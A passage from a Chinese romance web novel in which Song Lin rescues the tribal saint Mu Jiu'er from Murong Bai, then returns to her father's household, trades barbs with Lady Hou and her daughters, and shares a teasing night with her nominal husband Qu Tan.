惊风等人都是王府优秀的侍卫,没有得到命令,即便树倒下也不可能掉下去,都死死抓住树干不动。
瞿昙近距离观察着她,没有作声。
躲藏在树林深处的木九儿突然睁开眼,眸子里一片欣喜,她就知道秦王妃会来相救。
她从藏身的山洞探出身子,看向西南方不断摇动的大树,嘴角轻扬。环顾四下无人,寻了棵最醒目的大树,手指轻轻抖动。
很快木九儿就笑不出来了,奸诈的慕容白,她被包围了!
慕容白拨开围住她的护卫走上前来,身上是穿旧了的毛皮大衣,满嘴胡茬,早没了先前的王爷姿态,活像个落草为寇的贼首。
“木姑娘真是让本王好等啊!”
木九儿深知落到他手里没有好下场,秦王妃来了,说明林武已无性命之忧。既如此,也没枉费相识一场。
她深吸一口气,瞥向四周地势。对方虽人多,但想困住她也不是件易事。
“白王当真要把事情做绝?”
慕容白嗤笑,抬手示意护卫把武器放下,“现在急了?当初干嘛逃?”
“本王看你这段时间在秦王府挺开心的。”说这话的时候,颇有几分咬牙切齿的意味。
她在秦王府吃香的喝辣的,自己在鸟不拉屎的地方苟着,一想到这些天过得糟糕日子就恨不得把她碎尸万段。
说到秦王府,木九儿两眼一弯,笑得无邪,低头见地上的雪已经没过小腿,踢了踢腿。
“你做什么?”她一有动作慕容白就警觉。
木九儿抓起一把地上的积雪,“紧张什么?我不过是瞧这雪稀罕,想掂量一下它的份量。”
慕容白冷眼看着她,“别挣扎了。”
他举起手中弓弩,“本王会善待你的族人。”
“白王当真觉得自己赢了?”她指尖发力,一块松软的雪被捏成小小一个雪团子。
死到临头还嘴硬,慕容白不介意让她多说两句,毕竟相识一场,留个遗言的情分还是可以的。
木九儿不理会他的狂妄,突然变了眼神,把手中的雪团子狠狠掷向他,“想杀你姑奶奶,没那么容易!”
趁他躲避的工夫,木九儿疾步跑向山的一侧,借着地势往山下滚去。
事发突然,慕容白没料到她会走这一步,向死而生,好得很!
护卫们围在她滚下山崖的地方,面面相觑。
他们不熟悉山中地形,积雪之下到处都是陷阱,这一路上山,损失了好几个同伴。
慕容白循声往下看,“人呢?”
早知她是个狡猾又诡计多端的女人,就不该浪费口舌,一箭射杀一了百了!如今她生死未卜,又是件麻烦事。
“主子,人滚下去了。”
“那还愣着做什么,还不去找?活要见人,死要见尸!”
“那还愣着做什么?给我找去!”
慕容白的表情开始扭曲,这一次,他绝对不会再让木九儿逃掉!
山脚下,宋檩的阵法进行了一刻钟时间,她站在空旷的地方,成功锁住木九儿的位置。
朝树上站着的人招手,“你们都下来。”
所有人都围了过来,听她吩咐接下来的事
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情。
宋檩看向树林西南方,眸色微暗,人数不少,慕容白这次起了杀心。她指向那处山脚下,“带几个人过去那边接应,不要恋战,救了人就撤。”
惊风往瞿昙的方向看了一眼,对方没有反对。常齐留下保护王爷和王妃,他领人去接应。
木九儿有阵法相助,滚下山并没有受太重的伤,爬起来继续跑。慕容白的人实在有些人,没了树叶的遮挡,视线一览无余。
她已经听到有人在说话了。利箭划破雪山的孤寂,直冲她命门射来,眼看就要交代在这了,对方突然倒地。
突如其来的变故让她慌了神,站在原地忘了躲开。
“铮”的一声碰撞声,箭矢在她眼前拐了个弯,打在光秃秃的树干上。她一抬头,看到熟悉的惊风。
“木姑娘,快走!”惊风一把将她扯到身后,示意护卫带她离开,他来断后。
自己孤零零在这个人生地不熟的大山里逃了那么久,可算是见到个熟人了,木九儿差点哭出来。
“惊风大哥,谢谢你来救我。”
“我是奉命行事,要谢就谢我家王妃,赶快走!”惊风懒得跟她废话,对方明显人多势众,他们这几个人可不够硬拼。
眼下双方的人已经对上,必须速速离开。
“主子,他们有人接应!”慕容白一靠近就被告知这个消息,差点没站稳摔在地上。
他仔细一看,果然在稀稀拉拉的几个人里,看到了最耀眼的惊风,秦王府的人!
慕容白的脸色很难看,秦王府的势力不容小觑,上回贸然出手抢夺灵芝已是轻敌之举。若秦王有心发难,他们一行人怕是走不出大昭了。
“主子,对方没有继续交手的意思,咱们还追吗?”底下的人拿不准主意,只能问他。
蹲守这么久好不容易逮着了人,若错过这个机会,以后怕是再无可能。且不说王庭内暗潮汹涌,他需要一个助力。
若此番让木九儿回去,板楯定视他为敌人,牺牲太大了。
他指向不远处的人,阴鸷的眼神有些骇人,“放箭,一律射杀!”
胡人弓弩射程远,惊风领人边打边退,完全没想到对方突然反攻那么猛,几个人身上都挂了彩。
宋檩见走出来的人都挂了彩,一脸狼狈样,焦急上前,“大家还好吧?”
护着木九儿的几人摇头,他们虽然挂了彩,都是轻伤。反之后来的惊风等人受伤不轻。
“王爷,是慕容白,他们人多势众,手中又有劲弩,不宜硬碰硬。”若非撤退及时,恐怕已经被射杀在林子里。
不得不说,王妃叫他们不必恋战是明智之举。
“辛苦你们了。”宋檩见去的人一个不少回来,悬着的心才落地。
“王妃不必客气,这是我等分内之事。”虽然受了伤,但丝毫没有影响他作为一个秦王府暗卫的骨气,惊风已然站得板正!
瞿昙扫了木九儿一眼,后者立马站直了身板,往宋檩身后挪了挪,造谣是一码事,但不宜在正主跟前太过放肆。
“慕容白是个聪明人,在大昭地界与秦王府为敌,没什么好下场。”言下之意便是,他敢冒险行事,说明木九儿价值非同寻常。
宋檩对他们的牵连不感兴趣,既已救下她性命,左右是把人得罪了。
她扯了扯瞿昙的袖口,讪笑道:“王爷,这天也太冷了,我们回吧。”
瞿昙知她心中所想,瞥了眼她的手,一把抓住,拎着上马,一气呵成。
慕容白看着一行人越来越远,已经超出劲弩的发射范围,拳头重重砸在身侧的一根树干上,积雪簌簌而下。
王庭,再无他的容身之地。
53. 传说中的他
傍上秦王府这棵大树,有南境军护送,木九儿迟早回去。
届时板楯人对王庭发乱,大王一定会为了安抚他们交出自己,回去,就是死路一条。
“主子,还……追吗?”闹出这么大动静,秦王亲自到场,再这么追下去,他们这伙人迟早玩完。
“追什么追?撤!”
慕容白不是不知好歹的人,这些时间在昭国做的事情,瞿昙不可能不知道,他没阻拦,便是有必胜的把握。
这次会出现,就是对他的警告,若敢得寸进尺,绝不会有好下场。
他不能不知好歹。
“所有人听令,北上,撤出昭国!”
宋檩一行人回到王府,林歌告知黎樾已经替林武处理完伤口。她叫林歌送木九儿回去,嘱托黎樾替受伤的人包扎,打算亲自送瞿昙回去,以作感谢。
可是,他坐着把玩茶盏,并没有要回去的意思……
“王妃打算如何处理她?”他抬头仰望着宋檩,好像她想怎么样就能怎么样似的。
宋檩疑惑地眨巴着眼睛,他真不打算回去啊?
她走到一侧落座,眼球一转,笑道:“木姑娘既是王爷的故人,如何处理自然得听王爷安排。”
“是吗?”瞿昙支着脑袋,有一搭没一搭打量她,藏不住的戏谑之意,“那本王即刻安排人送她回去。”
这就送走?宋檩不可思议地看着他,“是不是,有点太快了?”
他凑到宋檩跟前,脸不红心不跳道:“以免夜长梦多。”
宋檩抿唇道:“可我答应了送她回去,眼下又实在脱不开身,岂不是要食言?”
“你还真想亲自去送她?”瞿昙不可思议道,原以为只是一时口快,哪知她真存了要去的心思。
“君子一诺!”宋檩不服气道。
瞿昙被她天真的想法逗笑,“你知道她住哪儿吗?连人是哪儿的人都不清楚,你怎么送?”
“知道的!”她脸上写满了认真,“木九儿说过,她家离益州不远。”她看过舆图,中都到益州往返一个月足矣。
若她学会骑马,就可以大大缩短时间。
瞿昙:“……她是这么给你说的?”
宋檩被他明显憋笑的样子弄得莫名其妙,难道木九儿骗了她?
“这么说也没错,益州去她家比中都确实近不少。”
宋檩:“……”
意识到自己被骗了,宋檩板脸生了会儿闷气,想她一个姑娘家在外,为了保护自己编造些真真假假的信息也情有可原。气儿立马消了。
她盯着瞿昙,才想起秦王府的南境军就驻军益州沿线。
“你早就知晓她的身份?”
瞿昙摇头,“谈不上,但从慕容白的行为来看,木九儿极有可能是板楯部落的圣女。”
“啥?”宋檩诧异。
当年她无聊翻阅《华阳国志》,在那本书里提到过板楯蛮,骁勇善战,世居巴蜀一带。
少数民族历来以部落寨居山林,寨子与寨子之间互通姻亲,渐渐融为一个部落,没想到她竟有这样的身份。
如此,慕容白抓她也就说得通了。
瞿昙见她沉浸在自己的世界,告知以利害关系,“那些部落神秘难寻,进去出来九死一生并非唬人的话。”
“即便是南境军,也不敢轻易与其交恶。”
“便是这样,你也要去?”
宋檩与他对视,没有回答。
虽然不知大昭属于历史演变的哪一进程,但巴蜀一带湿热的气候变化并不大,多虫蛇,生瘴气,外人闯入确实难以存活。
可木九儿的阵法与她修习太过相似,她有一种直觉,其中存在某种关联,说不定能揭开她来到这个世界的谜底。
所以,木九儿的家,她是一定要去的,不过不是现在。
这些事她也不会说给瞿昙听。
她坚定地摇头,“我很惜命的!”
确实很惜命,先前还说不能食言,才过去多久就矢口否认。瞿昙无奈摇头,“这些日子你与她相处不错,去见一面吧,我安排人送她走。”
两人来到院子里,木九儿已经处理完伤口,她只是脸上有些擦伤,并无大碍。眼下正倚在门边,静候他们过来。
“见过小王爷,王妃!”她右手五指并拢贴在额前,而后放在左胸前,双腿微曲,右脚后撤半步,左手自然下垂。
这是南疆的礼仪,瞿昙一眼就认了出来。
“南疆人?”他眉头轻挑,走进屋坐下。
木九儿一点也不觉得惊讶,堂堂秦王府的当家人,若连这个礼都不认识,南境军多少有些名不副实。
她也不隐瞒,大大方方承认,“南疆板楯部落脉龙寨的大小姐,圣女木九儿正是小女子!”
宋檩只知板楯,至于下辖的那些寨子全无了解,听她这么说,生出几分兴趣来。
“你既是脉龙寨的大小姐,又是部落圣女,为何会被慕容白追杀?”宋檩疑惑。
木九儿脸色阴暗,提起这事她就来气,她抓了抓后脑勺,想到宋檩的阵法修养,既羡慕又嫉妒。
“王妃天赋异禀,自然不理解我的烦恼。”
平白被骂,宋檩哑言,一脸无辜。
“我原本就在圣殿修习阵法,可是迟迟没有进展,无奈只得离开家,想出来找找灵感,哪知会落到慕容白手里?”
“他去过寨子里几回,无非是想阿爹助他夺王庭。”
“可我阿爹既是部落首领,就不能置族人于险境,打仗哪有不死人的?”
她吸了吸鼻子,提及族人少不得激动,“这些年部落在阿爹的带领下,和……”他瞄了瞿昙一眼,继续道:“益州商人多有往来,生活安逸得很。”
“我们没那么大野心,只想好好过日子。”
难怪如此,宋檩心想。
很快,她的心里又升起一股谜团。
“慕容白既然绑了你,为何会带来大昭?”她虽没到过南疆,但有一点可以确定,慕容白绝不是在大昭境内绑的她。
木九儿眸子闪烁,个中缘由一时半会儿还不能说,“慕容白领了使臣的任务,本身不在王庭,他那样谨慎的人,把我带在身边是最安全的。”
宋檩知她没有道出实情,木九儿的阵法水平虽不及她,但逃离一群莽夫的桎梏轻而易举。
来到大昭,一定还有别的原因。
她没有窥探旁人秘密的癖好,瞿昙也不愿跟她说太多,关于木九儿的问题,暂时搁置。
“慕容白已经北上,于你没有威胁,我会安排人一路护送你。”言下之意,她可以离开王府了。
木九儿点头,“多
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谢小王爷。”有秦王府的人相送,她这一路上绝对太平。
“何时启程?”
瞿昙看了眼天色,“我会让黎樾给你备些药,今晚天擦黑出城。”
这么快?木九儿和宋檩同时受惊。
二人对视一眼,在双方眼里看到了相似的东西。
宋檩动了动嘴,“王爷,你去忙吧,我与木姑娘说些体己话。”
她们什么时候关系这么好了?瞿昙打量她的眼神多了几丝探究。宋檩却是一副坦坦荡荡的样子,毫不心虚。
他斜了木九儿一眼,起身向外去。
木九儿目送他的身影消失在院子里,才轻轻叹了口气,啧啧出声,“还得是秦王妃你,小王爷这气场,不是谁都能消受得起的!”
宋檩怪异地看她一眼,觉得好笑,“不都是两只眼睛一张嘴的人,有这么夸张吗?”
木九儿摇动手指,一脸严肃,“这一点都不夸张。”
“想当年……”她说了几件瞿昙在南境军时做过的事,什么“孤身入苗寨”“智取青冈岭”,还有“拜山神”,讲得绘声绘色,跟听话本子似的。
宋檩头一回从旁人口中听到瞿昙,没想到他竟是这样一个人物,才不到弱冠,竟有如此胆识。
可惜没机会认识那时的小王爷,她们相识时,已经是深居简出的病秧子了。
木九儿说得口干舌燥,三杯茶水下肚,发现她竟在走神,不可思议地按在她的肩膀上摇晃,“这么精彩的事迹你竟还听不下去?!”
宋檩拨开她的手,“别晃了!说正事。”
木九儿收起笑,一脸认真地看着她。
“先前说了送你,可眼下我实在不能脱身。不过,脉龙寨,我是一定会去的,只是不是现在。”
木九儿笑了,原还想着怎么把她骗去,这下解决了,也不枉出来这一趟。
她伸出手掌,生怕反悔,“一言为定!”
“一言为定。”宋檩与她三击掌。
回到如苑,已是晚膳时辰。被告知宫里来了人,瞿昙已经进宫,宋檩也没多问,自己吃了饭,打算看看新送来的账簿。
自打接了差事,三天两头被召进宫,她已经习惯了。
才翻开账簿,门房来报,侯夫人派了人过来,请王妃务必回去小住,至于其他的一概不说。
林歌怒了,“侯氏好大的面子,姑娘是秦王妃,她一个相府夫人,还是平妻,凭什么这般跟姑娘说话?”
她本就不是相府的人,跟王妃出来的那一刻,相府就跟她毫无关系了。相爷见了姑娘尚且要行礼,侯氏怎么敢?
姑娘如今见君免跪,便是太子妃和承王妃也不能把姑娘怎么样。
宋檩摇了摇头,她这个人向来是人不犯我我不犯人,既然侯氏想要让她难堪,那她就以其人之道,还治其人之身。
只是眼下还不是时候。华承坤这个人,她还有大用处。
她拍了拍林歌的肩膀,“好林歌,犯不着为了个无关痛痒的侯氏生气。”
“要属下说,姑娘就是心善,才叫她们觉得好欺负。”林歌看了她一眼,赌气道。
跟在姑娘身边久了,她的性子有很大的收敛。若放在以前,侯氏这样的人早被揍成猪头了。
嚣张一次揍一次,让她每次见了自己就绕道走,再不敢放肆!
54. 回相府斗法
林歌在她身边这些时日,两人已经磨合出了默契。起初她总是端着,说话做事总小心翼翼,那会儿她忙着休养,也不太关心。
来王府这几个月,经过了一些事情,她才真正对林歌有些了解。
沉默寡言的外表下裹藏的是一个有趣的灵魂,她们其实挺像的,为了保护自己,总会背上厌恶的伪装。
一旦经过反复验证,确定此处安全,才会渐渐暴露本性。
但卸下伪装并非易事,日子久了,早已跟本身融为一体。你以为的那个干净纯真的自己,其实已是另一个人。
宋檩淡笑道:“以后还有很长的路要走,谁欺负谁还不一定。”
这一次不管侯氏母女想干什么,自己见招拆招便是。她们有她们的算计,她也有自己的考虑。
“收拾一下,回相府住两天。”
林歌看了眼自家姑娘,浮起一抹怪异的感觉,欲言又止,“王妃,是不是……跟王爷说一声?”
“我回自己家,跟他说做什么?”宋檩一脸茫然。
姑娘能说出这句话,可见心里并没把王爷当作自己的夫君,而是一个单纯的合作伙伴,林歌心道,安管事还得继续努力!
眼下王爷体内的毒已解,姑娘又不管府里的事,再想让二人独处真不是件易事。
林歌无法,只能打开衣橱收拾衣服,突然又想到一个法子,看向炉子边翻看账簿的姑娘,不经意道:“三姑娘出嫁,王爷是相府姑爷,按照礼数也要到场。”
眼下相府无男子,唯一的姑爷若再不到场,少不得让人嚼舌头。
“急什么?不是还有两天吗?”宋檩完全没放在心上。
平日里她也不怎么回相府,这次难得寻到正经的理由,估摸妖魔鬼怪少不了,且看她们一个个的嘴脸到底有多丑陋。
瞿昙若跟她一起回去,好多热闹就看不到了。
林歌:“……”她尽力了。
“林武伤势如何了?”她得为自己添一份保障。
猜到她的想法,林歌忙道:“黎樾神医看过了,右肩中了一箭,其余都是皮外伤,没什么大碍。”
宋檩点头,“让他一起。”
林歌找安管事备马车的时候说了一嘴回相府,别的没再多说,连给安排的车夫都推了。
林武赶车,一行三人低调地回到相府。
这次与之前不同,一路上没遇到闹心的人,正疑惑侯宛仪竟然没作妖,就看到了敬方院门口等候的人。
“是四姑娘。”天已完全黑透了,借着门口的灯笼,林歌还是看清楚了那人的脸。
宋檩了然。洛姨娘有了身孕,母女身份水涨船高,侯宛仪掌控相府的机会一去不复返了。
“给大姐姐请安。”宋漓见到来人,忙迎上前来。
“等很久了吧?”瞥见她泛红的手指,宋檩把手炉递了过去,“这么冷的天,你站在外头做什么?”
前些日子下了大雪,一下就是好几天,今儿虽停了,但融雪可比下雪冷多了。
宋漓摇头,笑的时候嘴角梨涡梨涡特别可爱,“大姐姐回来,我高兴!”
“姑娘,四姑娘,外头冷,进屋说话吧。”林歌见姑娘把手炉给了四姑娘,忙插嘴让进屋。
“瞧我!光顾着说话了!”宋漓懊恼地拍了拍脑袋,“姨娘身子重,太医说月份大了不宜走动,特地嘱咐我收拾敬方院,屋里的炉子已经烧起来了,大姐姐快些进屋。”
宋檩点头,让她一道进去说话。
问了府里近来的情况,她都一一回答。宋檩才知,眼下宋漓深得宋明书喜爱,宋姿宋沅都是待嫁之身,洛姨娘又身子重,她和侯氏一并掌家,也算取得了相府话语权。
如今的四姑娘早已不是当年那个被侯氏母女一个眼神就能赶走的人了。
还知道太医已经确定,洛姨娘这胎怀的是个男孩。宋檩打心底里高兴。
“夜深了,大姐姐舟车劳顿,我叨扰这么久,也该回去了。”
宋檩点头,笑起来也遮不住脸上的疲态。
“这两日府里很热闹,大姐姐得闲去外头走动也好,若嫌得慌,冬日枯景无甚可观,待在屋子里也无妨。”
她既这么说,定有应对之策,宋檩一一应下,“我省得。”
谁不想躲清静?但来了相府,就不会有清净可言。这不,宋漓前脚刚走,侯氏母女就过来了。
“姑娘,要不要属下将她们打发了?”林歌知姑娘疲累,私心也不想看到那母女三人的嘴脸。
宋檩摆手,“算了,我人都回来了,岂能躲着不见?”
今日不见会有明日,躲不是个办法。
林歌不情不愿地把三人放进屋。
侯氏心里憋了气。她差人把宋檩叫回来,只是想让她见证人生的辉煌时刻。
文卿那女儿得宠又怎样?出身名门又如何?还不是早早死掉!她的两个女儿都嫁入皇家,她的身份注定水涨船高。
原来计划好好的,偏生被个妓子生的下贱丫头捷足先登,人都进了敬方院才收到消息,真是该死!
从进门她就在打量,宋檩只带了林歌回来,身手再好又如何,这是她的地盘。
“大姑娘回来怎么也不叫门房通报一声?若叫秦王府怪罪下来,少不得说我们相府不懂规矩。”侯氏走到一侧坐下,打量她屋中摆设。
敬方院跟她出嫁前没什么两样,院子是相府最好的,陈设也是相府里最豪华的。
她不是没动过这院子的心思,可还没行动就被带了个正着,宋明书拿两个女儿的前途警告她,她不敢不从。
正是如此,她对宋檩的憎恶更多。
宋檩可不惯着她,故作惊讶道:“是吗?没在大门口见到侯夫人,我特地着门房去通报,还以为侯夫人会在敬方院迎接我。”
“你……”侯宛仪被气得胸口上下起伏。
宋漓那丫头比洛氏难对付多了,又有宋明书撑腰,简直不把她放在眼里。
即便偶有抓住那死丫头的尾巴,只要稍微服个软,说些好话,宋明书就会大事化小小事化了,她毫无办法!
她倒是忘了,宋檩这丫头一向跟宋漓走得近。
宋姿尖见此,忙上前替自家母亲舒心,抚了抚她的胸脯,“都是下人办事不力,娘明日好生管教便是,切莫动气。”
她看向宋檩的眼神里带有几分请求,“大姐姐也少说几句,母亲近来身子越发不好,太医说不可动怒。”
这对母女真是戏精。宋檩瞟了宋沅一眼,她站在身后,表情相当平静。
有意思。
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她眉眼一抬,嘴角的弧度有些瘆人,“侯夫人劳累了这么多年,身子不好也难怪。”
“太医都说了不可动怒,想来症状不轻。”
宋檩竟敢咒她,侯宛仪一口气还没顺过来,又听她道。
“要我说就别再操心了,把相府的这摊子事情丢给四妹妹,她年轻,怎么动怒都没大碍。”
侯宛仪抬手颤抖地指着她,恨不能啖她肉,喝她血。
“我娘到底是长辈,大姐姐怎么可如此?若将娘气出个好歹来,明日那些妇人不知如何说大姐姐!”
一听到让侯宛仪让出掌家权,宋姿立马急了。
宋沅就要嫁人了,往后不在相府倒也无所谓。她可还没出嫁,以往她们那般苛待宋漓母女,娘一旦没了掌家权,她将来还怎么在中都混?
若叫人知道未来太子妃的母亲是个没有掌家权的废物,皇后怎会同意她再嫁给太子?
她已经什么都给太子了,决不能出差错。
“二妹妹急什么?我也就这么随口一说。再说,也是为了侯夫人好呀!”
林歌低头憋笑,她就知道,姑娘一笑,事儿就会很有趣,果真是好大一出戏。
侯宛仪拍着胸口深呼吸,总算缓过劲来,没了先前的伪装,“宋檩,你是巴不得我身体不好是吧?”
那就偏不如她的意!她侯宛仪会好好地活给每一个不待见她的人看!
“冤枉啊,我何时说过这样的话?”
“我一门心思为侯夫人着想呐!”在挖苦人这方面,宋檩也是个油盐不进的家伙。
宋姿欲出声,却被侯宛仪捉住手,抬头示意她别说话。
在场战力最差的就是她了,宋檩完全没把她放在眼里。倒是一反常态的宋沅频频引起她的注意。
侯宛仪扭头,看向宋檩的眼神有些意味深长,“宋檩,你别太嚣张了,逼急了,我什么事都干得出来。”
“大晚上吵什么吵?阿眠一回来就吵吵闹闹的,哪还有点身为主母的样子?”
“还有你们,”宋明书一进屋就指着侯氏母女斥责,“不好好备嫁,跑来这里做甚?”
宋姿和宋沅心里对宋明书多有忌惮,不敢吱声。
侯宛仪早习惯了他的偏心,借着宋姿的手起身,冷哼离去,对这个丈夫,她的心早就凉透了。
“爹爹怎么来了?”宋檩起身,拉着他落座。
宋明书见她并没有被欺负,才松了口气,“提前回来怎么也不说一声啊!”害他毫无准备,平白让人受了委屈。
他打量屋子里的陈设,一应用具都是干净的,这才满意地点头,“漓儿这丫头做事还算靠谱。”
“四妹妹这样才算靠谱,那阿眠在爹爹眼里是什么样子的?”
“阿眠是最好的!”
原只是顺口一问,哪知他回得这般认真,一下子让人哑口无言。
宋明书按住她的肩膀,自己站起身,“你既回了,就多住几天,好好陪陪爹爹。”
“那就这么说好了,可不许嫌弃我哦!”
宋明书被她逗得大笑,“时辰不早了,快些歇下,明日府里吵得很,你想睡还不一定睡得着。”
宋檩送他到门外,才觉今夜尤其冷,“林歌,去烧些热水,我要泡个身子。”
55. 清水出美人
敬方院的耳房有一个小浴桶,但没有暖炉,不适合寒冷的当下。宋檩今日用的是盥洗室,那里的浴桶很大,烧上暖炉,关好门窗,整个屋子都是暖烘烘的。
林歌原本要留在这里替她擦背,奈何天太黑,提水的时候没留意脚下,踩着了檐角坠落的冰凌,摔了一跤。
摆好吃喝的东西,就被宋檩打发下去处理伤口了。
正值融雪,屋檐下到处都是砸碎的冰凌,先前打过一次,才半天的工夫又凝了一圈。
屋外风冷雪残,室内热气氤氲。
水面漂浮的木托盘上放着白玉酒壶,宋檩调皮地掬水浇在壶身上,一仰头饮尽杯中酒。
好久没这样惬意快活了。
瞿昙推门进来就看到这一幕,虽知她喝酒,但这副模样显然是醉了,醉态还是头一回见。
他倚在门框,一时看呆了。
宋檩听到了身后传来的动静,继续用指尖蘸水往酒壶上撒,傻笑地看着水珠一个个滑在托盘上。
头也不回道:“不是让你不要来了吗?”
“来了就赶紧进来,把冷风放进来了,凉飕飕的。”语气里夹带着几分慵懒随意,与王府时判若两人。
原来喝醉了这么可爱。瞿昙笑得狡黠,脚一勾把门关上,反手上了栓。
“你的腿……”宋檩暗暗奇怪林歌今夜的反常,一回头看见身后站着的人,瞳孔圆瞪,吓得话都没说完,指着他大叫。
“站住!你不许过来。”
扑腾之下打翻了托盘上的酒壶酒杯,悉数没入桶里。
瞿昙担心她受伤,没再上前,“我不过去,你注意脚下,别滑了。”
宋檩哪还顾得上那些,又气又恼,“你转过去!”
瞿昙无法,只得背转过身,耳朵却时刻留意身后动静,“出来当心些,别摔了。”
他高估了一个人喝酒后的自理能力。宋檩原本有些微醺,经他这一吓唬,大脑充血,脑袋晕乎乎的,才起身就有些站不稳。
偏偏忘了浴桶里还有东西,脚踩在掉落进去的酒壶盖子,身子直往浴桶沿磕去。
这要是磕着,非得破相不可!喝了酒的她行动跟不上脑子,只能大喊,“救命!”
瞿昙第一时间冲上去接住她。
宋檩有种劫后余生的庆幸,很快她就发现不对劲,自己什么都没穿啊!偏偏他还盯着看。
“闭上眼睛!不许看!”她咬牙切齿吼出声。
秦小王爷见过不少大场面,多是些献媚之举,一向懒得正眼相待,今日却比以往的冲击大得多。
再过几年就要而立之年的老小子,生生被羞红了耳朵。
宋檩根本顾不上他,一把将人推开,扯了屏风上搭着的衣服裹身。换洗的衣物有些远,这是她先时脱下来的,已经顾不得了。
刚才没摔着人,脚却崴了,甫一着地有股不适感,脚下趔趄,身上的衣服松松垮垮,两个肩膀都露在外面。
屋子里暖烘烘的,她毫无察觉。
瞿昙脱下氅衣将她裹住,打横抱起人就往门外去。
宋檩欲挣扎,瞥见他红透的耳尖瞬间闭嘴。开门后寒气逼人,她缩了缩脖子和脚,两只手紧紧抓住大氅。
大氅下的她与真空无二,相较之下面子就可有可无了。
林歌给膝盖上的擦伤上了药,担心姑娘在盥洗室睡过去,正瘸着个腿出门,抬眼看见瞿昙,视线定在怀里的人脸上,一脸惊诧,什么情况?
“王爷。”她过去行了个礼。
“将王妃的换洗衣物拿过来。”板着脸,稍作停留进屋去。
林歌眨眼,没再去盥洗室,转身回屋拿了新的里衣。她感觉这二人有些不对劲,没敢说话。
屋子里多了人,宋檩相当不自在,林歌虽然没说话,眼睛里却满是问题。她懒得解释,把人给打发下去了。
换好衣服才想起没绞头发,自己拿了帕子胡乱擦。
屏风外的人就坐在床边小榻上,倒是自在,跟这儿是他家似的。
她气不过,走过屏风,语气不善道:“王爷怎么过来了?”
瞿昙扫了她一眼,注意到她的头发,发梢处的衣服被打湿了,颜色变深。他起身过去,接过宋檩手里的帕子,一只手将她按坐在凳子上。
“我自己可以。”宋檩嘴硬道。
在这个连电吹风都没有的地方,晚上洗发真不是个明智决定。往常都是林歌替她绞干,这个活儿还真没什么经验。
“坐好。”瞿昙两手自她脖颈穿过,将头发拢在手里,再拿帕子裹住发梢,两手轻轻揉搓。
原以为他一个王爷不会干这种粗活,哪知这么麻利,这绞头发的手法都快赶上林歌了。
“王爷还会干这个?”
瞿昙轻笑,“怎么,王妃是觉得我这么熟练,给很多人干过?”
“我可没这意思,你自己说的!”宋檩心虚,虽然确实有这样的疑惑,但秦小王爷的人品她还是信的。
待发梢不再滴水,他把帕子铺在宋檩头顶,在她脑门上一顿揉搓才拿下来。
宋檩只觉得脑瓜子嗡嗡的,就被他拽起身,往一旁燃着炭火的炉子边去。
瞿昙拿腿勾了张凳子,将她按坐下,拿起她的长发在火上烤。
“都绞干了还烤什么?”她实在觉得多此一举。
“只是绞干了水分,就这么湿着睡,仔细头疼。”瞿昙驳回她的抗议。
宋檩无法,只得瞪圆了眼睛,目视前方,恨不能将他的衣裳盯出两个洞来。
哪知瞿昙突然坐下,猝不及防对上这双幽怨的眼睛。两人俱是一愣,他先反应过来,忍着笑出声,“不服气?”
“我没有!”宋檩别开眼神,人虽定住了,眼神却上下左右到处飘。炭火在炉子里燃得正旺,发梢偶有水滴落下,哧地化作白烟。
宋檩摸了摸发烫的脸颊,眉头轻皱,暗道林歌把这炭火烧得真旺。
更声响起,宋檩看向身前的男人,他似乎还没有离去的打算。
“天色晚了,王爷打算何时回府?”
面对她毫不客气地赶人,瞿昙一点儿也不觉得惊讶,还好他留了一手。故作惊讶道:“确实该歇息了。”
宋檩眨眼,他这么好说话?
瞿昙替她理了理头发,任由发丝从指间划过,确定完全干透才起身。解下腰带,脱掉外衣,动作一气呵成。
“你……你做什么?”宋檩猛地抬头,眼睛瞪得浑圆,睫毛都忘了颤动。
“大晚上能做什么,自然是睡觉了。”他笑得很欠揍。
宋檩气得想骂人,“
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回你的王府睡去!”
瞿昙恍然道:“那可不行。明日府里人若见不到我,定会胡乱猜想,坏了你我名声。”
这话一出,宋檩就有种不好的预感,“你怎么来的相府?”
他把过程一字不落说了个遍,包括带了几车东西,见了哪些人,听得宋檩气血翻涌。
她竟是最后知道的那个人,好得很。
敬方院不小,可经她一番修缮,只留了三个房间,眼下林歌和林武已经住下,再没有别的房间可以住人。
让他一个王爷跟侍卫住一屋不合适,若再安排别的院子,少不得惊动府里人,大晚上实在不合适。
宋檩平复心底怒火,不情不愿地去侧屋,翻箱倒柜也就找到一床厚被子。这院子长时间不住人,备的东西不多。
她抱了被子塞进瞿昙怀里,语气冷冷道:“你在这儿睡!”
瞿昙看向小榻,让他睡这?他还想说什么,宋檩已经绕过屏风,完全不给机会。
小榻在窗边,冷就算了,最主要是又硬又小,躺在上边脚都没处放。
他将被子摊在上边,一半垫一半盖,不算小的被子瞬间变得捉襟见肘。
宋檩侧耳听了一番,一番窸窸窣窣过后没了声音,想来已经睡着,她翻了个身打算睡觉。
一声,两声……咳嗽声穿过屏风灌进耳朵,越来越密。
宋檩想捂住耳朵装作不知,又想到他的身子毕竟才去除毒素,底子再好也经不起这么折腾,几番挣扎下来,还是心软了。
她睁眼望着帐顶,声音弱弱地响起,“要不……你上床来睡吧。”
外头除了咳嗽声仍无动静,她觉得奇怪,掀开被子下床,发现榻上的人已经睡着。
只是被子盖得跟没盖无二,整个人侧身躺着,大半个胸脯露在外头。
大冬天穿这么少睡,真当自己是铁打的。
宋檩走过去,想探探他的额头,看看有没有发热迹象,还没靠近就被人拽着手腕往榻上按。
“是我!”宋檩懊恼,生怕被他当刺客掐死,大喊出声。
瞿昙眼神瞬间清醒,松开她的手腕,一脸错愕,“大晚上不睡觉,你起来做什么?我还以为是刺客。”
宋檩不知是同情他好还是骂他好,板着脸起身,揉了揉被他掐得生疼的手腕,“你的咳声吵着我了。”
“抱上你的被子,床上睡去!”丢下这句话,她兀自回床上躺下。只是卷着自己的被子,往里侧挪了挪。
瞿昙眯起的眼睛里藏着计谋得逞的笑,“好勒!”麻溜卷起被子往屏风后去。
身侧睡了个男人,虽是她名义上的丈夫,还是觉得不自在,宋檩身子一歪,留了个后脑勺给他,闭上眼不说话。
名义夫妻二人生平第一次同床,都有些不习惯。瞿昙侧身向里躺着,盯着她的后脑勺傻笑。
“王妃?”
宋檩没作声,嫁妆睡早了,呼吸却出卖了她。
瞿昙往里靠了靠,故作不知她醒着,手悄悄往她被子里伸。
宋檩:“……手不想要了?”声音清脆,毫无睡意。
终于不装了?瞿昙眯着眼,讪讪缩回手,“原来王妃没睡着啊。”
宋檩又不答。
实在是困得慌,最后二人都沉沉睡去。
56. 姐妹情不深
